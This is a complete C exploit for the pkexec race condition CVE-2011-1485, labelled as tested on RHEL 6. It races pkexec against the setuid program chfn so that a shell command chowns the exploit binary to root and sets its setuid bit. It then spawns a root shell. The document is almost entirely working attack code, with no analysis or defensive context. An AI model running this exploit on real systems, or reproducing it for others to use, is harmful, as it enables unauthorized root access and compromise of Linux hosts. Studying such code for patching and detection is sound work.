pkexec - Race Condition Privilege Escalation Exploit



/*

* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~ 
¡Á U can reach us  @ http://www.wooyun.org :)
*/
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>



int main(int argc,char *argv[], char ** envp)
{
    
    time_t tim_seed1;
    pid_t pid_seed2;
    int result;
    struct stat stat_buff;
    
    char * chfn_path = "/usr/bin/chfn";
    char cmd_buff[4096];
    
    char * pkexec_argv[] = { 
        "/usr/bin/pkexec",
        "/bin/sh",
        "-c",
        cmd_buff,
        NULL
    };
    int pipe1[2];
    int pipe2[2];
    int pipe3[2];    
    pid_t pid,pid2 ;
    char * chfn_argv[] = { 
        "/usr/bin/chfn",
        NULL
    };

    char buff[8];
    char read_buff[4096];
    char real_path[512];    
    struct termios termios_p;
    
    int count = 0;
    int flag = 0;
    int usleep1 = 0;
    int usleep2 = 0;

    
    bzero(cmd_buff,4096);
    bzero(real_path,512);
    realpath(argv[0],real_path);
    
    tim_seed1 = time(NULL);
    pid_seed2 = getpid();
    srand(tim_seed1+pid_seed2);
    

    
    
    //get terminal attr
    tcgetattr(0,&termios_p);
    snprintf(cmd_buff,4095,"/bin/chown root:root %s; /bin/chmod 4755 %s",real_path,real_path);
//    printf("Cmd line:%s",cmd_buff);
    if(! geteuid()){
    //Succs => r00t!
        char * exec_argv[2]={
            "/bin/sh",
            NULL
        };
        setuid(0);
        setgid(0);
        execve("/bin/sh",exec_argv,0);
        perror("execve shell");
        exit(-1);
    }

    printf("pkexec local root exploit by xi4oyu , thx to dm\n");
    
    if(pipe(pipe1)){
        perror("pipe");
        exit(-2);
    }
    
    for(count = 500; count && !flag; count--){
    
    //    printf("Count %d\n",count);
        pid = fork();
        if( !pid ){
            // Parent
            if( !pipe(pipe2)){
            
                if(!pipe(pipe3)){
                    pid2 = fork();
                    if(!pid2){
                        // Parent 2
                        close(1);
                        close(2);
                        close(pipe1[0]);
                        dup2(pipe1[1],2);
                        dup2(pipe1[1],1);
                        close(pipe1[1]);
                        close(pipe2[0]);
                        close(pipe3[1]);
                        write(pipe2[1],"\xFF",1);
                        read(pipe3[0],&buff,1);
                                        
                        execve(pkexec_argv[0],pkexec_argv,envp);
                        perror("execve pkexec");
                        exit(-3);
                    
                    }
                    close(0);
                    close(1);
                    close(2);
                    close(pipe2[1]);
                    close(pipe3[0]);
                    read(pipe2[0],&buff,1);
                    write(pipe3[1],"\xFF",1);
                    usleep(usleep1+usleep2);

                    execve(chfn_argv[0],chfn_argv,envp);
                    perror("execve setuid");
                    exit(1);
                }
                

            }
            perror("pipe3");
            exit(1);                
        }
        
        //Note: This is child, no pipe3 we use poll to monitor pipe1[0]
        memset(pipe3,0,8);
        
        struct pollfd * pollfd = (struct pollfd *)(&pipe3);
        pollfd->fd = pipe1[0];
        pollfd->events =  POLLRDNORM; 
        
        if(poll(pollfd,1,1000) < 0){
        
            perror("poll");
            exit(1);
        }
        
        if(pollfd->revents & POLLRDNORM ){
            memset(read_buff,0,4096);
            read(pipe1[0],read_buff,4095);
            if( strstr(read_buff,"does not match")){
                usleep1 += 500;
                usleep2 = rand() % 1000;
            
            }else{
                usleep1 -= 500;
                
            
            }
        
        
        }
        
        if(!stat(real_path,&stat_buff)){
            if(!stat_buff.st_uid){
                if(!stat_buff.st_gid){
                    if(stat_buff.st_mode & 0x800){
                        
                        char *exec_array[]={
                            real_path,
                            NULL
                        };
                        
                        flag = 1;
                        tcsetattr(0,2,&termios_p);
                        execve(real_path,exec_array,0);
                        perror("execve self");
                        exit(1);
                    }
                }
            
            }
        }
        
        tcsetattr(0,2,&termios_p);
    
    }
        result = 0;
        return result;

}